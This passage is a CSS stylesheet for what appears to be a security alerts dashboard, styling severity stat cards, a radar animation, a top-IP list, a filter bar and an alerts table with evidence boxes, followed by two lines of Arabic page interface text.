.stat-card.crit { border-top-color: var(--critical); }
|
||||
.stat-card.high { border-top-color: var(--high); }
|
||||
.stat-card.med { border-top-color: var(--medium); }
|
||||
.stat-card.low { border-top-color: var(--low); }
|
||||
.stat-card.neutral { border-top-color: var(--text-faint); }
|
||||
|
||||
.stat-card .label {
|
||||
font-family: var(--font-mono);
|
||||
font-size: 10.5px;
|
||||
letter-spacing: 0.09em;
|
||||
text-transform: uppercase;
|
||||
color: var(--text-dim);
|
||||
margin: 0 0 8px;
|
||||
}
|
||||
.stat-card .num {
|
||||
font-family: var(--font-display);
|
||||
font-size: 28px;
|
||||
font-weight: 700;
|
||||
line-height: 1;
|
||||
}
|
||||
.stat-card.crit .num { color: var(--critical); }
|
||||
.stat-card.high .num { color: var(--high); }
|
||||
.stat-card.med .num { color: var(--medium); }
|
||||
.stat-card.low .num { color: var(--low); }
|
||||
|
||||
/* ---------- panel grid ---------- */
|
||||
|
||||
.panel-row {
|
||||
display: grid;
|
||||
grid-template-columns: 1.1fr 1.4fr;
|
||||
gap: 14px;
|
||||
margin-bottom: 14px;
|
||||
align-items: stretch;
|
||||
}
|
||||
|
||||
.panel {
|
||||
background: var(--panel);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius);
|
||||
padding: 16px 18px 18px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.panel-title {
|
||||
display: flex;
|
||||
align-items: baseline;
|
||||
justify-content: space-between;
|
||||
margin-bottom: 12px;
|
||||
}
|
||||
.panel-title h2 {
|
||||
font-family: var(--font-mono);
|
||||
font-size: 12.5px;
|
||||
letter-spacing: 0.1em;
|
||||
text-transform: uppercase;
|
||||
color: var(--text-dim);
|
||||
margin: 0;
|
||||
font-weight: 600;
|
||||
}
|
||||
.panel-title .hint { font-size: 11px; color: var(--text-faint); font-family: var(--font-mono); }
|
||||
|
||||
/* ---------- radar ---------- */
|
||||
|
||||
.radar-sweep {
|
||||
transform-origin: 150px 150px;
|
||||
animation: radar-spin 6s linear infinite;
|
||||
}
|
||||
@keyframes radar-spin {
|
||||
from { transform: rotate(0deg); }
|
||||
to { transform: rotate(360deg); }
|
||||
}
|
||||
.radar-ping {
|
||||
animation: radar-ping 1.8s ease-out infinite;
|
||||
transform-origin: center;
|
||||
}
|
||||
@keyframes radar-ping {
|
||||
0% { r: 4.5; opacity: 0.9; }
|
||||
100% { r: 13; opacity: 0; }
|
||||
}
|
||||
|
||||
.radar-wrap { display: flex; align-items: center; justify-content: center; padding: 6px 0 2px; }
|
||||
.radar-legend {
|
||||
display: flex; gap: 14px; justify-content: center; margin-top: 8px;
|
||||
font-family: var(--font-mono); font-size: 10.5px; color: var(--text-dim);
|
||||
}
|
||||
.radar-legend span { display: inline-flex; align-items: center; gap: 5px; }
|
||||
.legend-dot { width: 8px; height: 8px; border-radius: 50%; display: inline-block; }
|
||||
|
||||
/* ---------- severity meter ---------- */
|
||||
|
||||
.sev-meter { margin-top: auto; }
|
||||
.sev-meter-bar {
|
||||
display: flex;
|
||||
height: 22px;
|
||||
border-radius: 4px;
|
||||
overflow: hidden;
|
||||
border: 1px solid var(--border-soft);
|
||||
}
|
||||
.sev-meter-bar .seg { transition: flex-grow .4s ease; }
|
||||
.sev-meter-bar .seg.crit { background: var(--critical); }
|
||||
.sev-meter-bar .seg.high { background: var(--high); }
|
||||
.sev-meter-bar .seg.med { background: var(--medium); }
|
||||
.sev-meter-bar .seg.low { background: var(--low); }
|
||||
.sev-meter-bar .seg.none { background: var(--border-soft); flex-grow: 1; }
|
||||
|
||||
.sev-meter-labels {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
margin-top: 8px;
|
||||
font-family: var(--font-mono);
|
||||
font-size: 11px;
|
||||
color: var(--text-dim);
|
||||
}
|
||||
.sev-meter-labels span { display: flex; align-items: center; gap: 6px; }
|
||||
|
||||
/* ---------- top IP list ---------- */
|
||||
|
||||
.ip-list { list-style: none; margin: 0; padding: 0; display: flex; flex-direction: column; gap: 10px; }
|
||||
.ip-row {
|
||||
display: grid;
|
||||
grid-template-columns: 22px 130px 1fr 46px;
|
||||
align-items: center;
|
||||
gap: 10px;
|
||||
font-family: var(--font-mono);
|
||||
font-size: 12px;
|
||||
}
|
||||
.ip-rank { color: var(--text-faint); text-align: right; }
|
||||
.ip-addr { color: var(--text); font-weight: 600; }
|
||||
.ip-bar-track { height: 8px; background: var(--border-soft); border-radius: 4px; overflow: hidden; }
|
||||
.ip-bar-fill { height: 100%; border-radius: 4px; }
|
||||
.ip-score { text-align: right; color: var(--text-dim); }
|
||||
|
||||
/* ---------- filter bar ---------- */
|
||||
|
||||
.filter-bar {
|
||||
display: flex;
|
||||
gap: 10px;
|
||||
flex-wrap: wrap;
|
||||
margin-bottom: 14px;
|
||||
}
|
||||
.filter-bar input[type="text"],
|
||||
.filter-bar select {
|
||||
background: var(--panel-raised);
|
||||
border: 1px solid var(--border);
|
||||
color: var(--text);
|
||||
font-family: var(--font-mono);
|
||||
font-size: 12.5px;
|
||||
border-radius: var(--radius);
|
||||
padding: 9px 12px;
|
||||
}
|
||||
.filter-bar input[type="text"] { flex: 1; min-width: 200px; }
|
||||
.filter-bar input::placeholder { color: var(--text-faint); }
|
||||
.filter-bar select { cursor: pointer; }
|
||||
.filter-bar input:focus, .filter-bar select:focus,
|
||||
button:focus-visible, .btn:focus-visible {
|
||||
outline: 2px solid var(--low);
|
||||
outline-offset: 1px;
|
||||
}
|
||||
|
||||
/* ---------- alerts table ---------- */
|
||||
|
||||
.alerts-panel { padding: 16px 0 4px; }
|
||||
.alerts-panel .panel-title { padding: 0 18px; }
|
||||
.table-scroll { overflow-x: auto; }
|
||||
|
||||
table.alerts {
|
||||
width: 100%;
|
||||
border-collapse: collapse;
|
||||
font-size: 12.5px;
|
||||
}
|
||||
table.alerts th {
|
||||
text-align: left;
|
||||
font-family: var(--font-mono);
|
||||
font-size: 10.5px;
|
||||
letter-spacing: 0.08em;
|
||||
text-transform: uppercase;
|
||||
color: var(--text-faint);
|
||||
padding: 8px 10px;
|
||||
border-bottom: 1px solid var(--border);
|
||||
white-space: nowrap;
|
||||
position: sticky;
|
||||
top: 0;
|
||||
background: var(--panel);
|
||||
}
|
||||
table.alerts td {
|
||||
padding: 10px 10px;
|
||||
border-bottom: 1px solid var(--border-soft);
|
||||
vertical-align: top;
|
||||
}
|
||||
table.alerts tbody tr { cursor: pointer; transition: background .12s ease; }
|
||||
table.alerts tbody tr:hover { background: var(--panel-raised); }
|
||||
table.alerts tbody tr.expanded { background: var(--panel-raised); }
|
||||
|
||||
td.ts, td.ip { font-family: var(--font-mono); color: var(--text-dim); white-space: nowrap; }
|
||||
td.ip { color: var(--text); }
|
||||
td.endpoint { color: var(--text-dim); white-space: nowrap; }
|
||||
td.desc { color: var(--text); line-height: 1.4; }
|
||||
|
||||
.badge {
|
||||
display: inline-block;
|
||||
font-family: var(--font-mono);
|
||||
font-size: 10.5px;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.04em;
|
||||
padding: 3px 8px;
|
||||
border-radius: 3px;
|
||||
text-transform: uppercase;
|
||||
white-space: nowrap;
|
||||
}
|
||||
.badge.critical { background: var(--critical-dim); color: var(--critical); }
|
||||
.badge.high { background: var(--high-dim); color: var(--high); }
|
||||
.badge.medium { background: var(--medium-dim); color: var(--medium); }
|
||||
.badge.low { background: var(--low-dim); color: var(--low); }
|
||||
|
||||
.type-tag {
|
||||
font-family: var(--font-mono);
|
||||
font-size: 10.5px;
|
||||
color: var(--text-dim);
|
||||
background: var(--panel-raised);
|
||||
border: 1px solid var(--border-soft);
|
||||
border-radius: 3px;
|
||||
padding: 2px 6px;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.evidence-row td {
|
||||
padding: 0 10px 14px 10px;
|
||||
border-bottom: 1px solid var(--border-soft);
|
||||
}
|
||||
.evidence-box {
|
||||
background: var(--bg);
|
||||
border: 1px solid var(--border-soft);
|
||||
border-left: 3px solid var(--low);
|
||||
border-radius: 4px;
|
||||
padding: 10px 12px;
|
||||
font-family: var(--font-mono);
|
||||
font-size: 11.5px;
|
||||
color: var(--text-dim);
|
||||
white-space: pre-wrap;
|
||||
word-break: break-all;
|
||||
max-height: 160px;
|
||||
overflow-y: auto;
|
||||
}
|
||||
|
||||
.empty-row td {
|
||||
text-align: center;
|
||||
color: var(--text-faint);
|
||||
font-family: var(--font-mono);
|
||||
padding: 36px 0;
|
||||
}
|
||||
|
||||
/* ---------- footer ---------- */
|
||||
|
||||
.console-footer {
|
||||
margin-top: 24px;
|
||||
padding-top: 14px;
|
||||
border-top: 1px solid var(--border);
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
font-family: var(--font-mono);
|
||||
font-size: 11px;
|
||||
color: var(--text-faint);
|
||||
flex-wrap: wrap;
|
||||
gap: 8px;
|
||||
}
|
||||
|
||||
/* ---------- responsive ---------- */
|
||||
|
||||
@media (max-width: 980px) {
|
||||
.panel-row { grid-template-columns: 1fr; }
|
||||
.stat-grid { grid-template-columns: repeat(3, 1fr); }
|
||||
}
|
||||
|
||||
@media (max-width: 620px) {
|
||||
.stat-grid { grid-template-columns: repeat(2, 1fr); }
|
||||
.header-status { display: none; }
|
||||
.ip-row { grid-template-columns: 18px 96px 1fr 40px; }
|
||||
}
|
||||
|
||||
@media (prefers-reduced-motion: reduce) {
|
||||
.live-dot::before { animation: none; }
|
||||
* { transition: none !important; animation-duration: 0.001s !important; }
|
||||
}
|
||||
المرجع في مشكلة جديدة
حظر مستخدم